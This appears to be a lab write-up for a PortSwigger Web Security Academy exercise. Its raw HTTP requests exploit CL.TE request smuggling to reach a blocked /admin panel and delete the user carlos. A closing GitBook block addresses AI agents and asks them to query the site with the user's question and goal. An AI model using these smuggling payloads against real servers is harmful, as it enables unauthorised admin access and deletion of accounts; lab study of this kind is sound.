> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/front-end-security-bypass-via-cl-te.md).
# Front-End Security Bypass via CL.TE
Front-End Security Bypass via CL.TE notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting HTTP Request Smuggling to Bypass Front-end Security Controls, CL.TE Vulnerability
The lab uses a **front-end** server and a **back-end**. / The front-end **does not support the chunked encoding**, while the back-end accepts it. / Access to the administration panel located at **/admin** is blocked by the front-end.
The goal is to **smuggle a request** to the backend allowing access to the admin panel, then **remove the user carlos**.
#### **1. Verification of Vulnerability CL.TE**
The front-end interprets Content-Length, while the back-end uses Transfer-Encoding.
Basic CL.TE Payload:
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked
0
```
This returns a **200**, which confirms that the back-end takes `Transfer-Encoding` into account.
#### **2. Injection of a Smuggled Request**
When a request is then chained, the backend reads the smuggled request:
```http
Content-Length: 33
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Test: A
```
The backend answers that **only local users** can access /admin.
#### **3. Usurpation of the Host to Appear Local**
To circumvent the restriction, the back-end must believe that the request comes from localhost.
Initial attempt:
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
```
But the server returns:
```json
{
"error":"Duplicate header names are not allowed"
}
```
The backend therefore does not interpret this request as a complete new request.
### **4. Construction of a Correct Smuggled Request**
A `Content-Length` is added to the smuggled query, so that it is processed correctly:
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9
test=test
```
For the back-end to read the request correctly, we adjust the size:
```http
Content-Length: 10
```
The complete request sent to the front-end becomes:
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
test=test
```
#### **5. Removal of the Carlos User**
Now simply replace the GET line with the call for deletion:
```http
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10
test=test
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
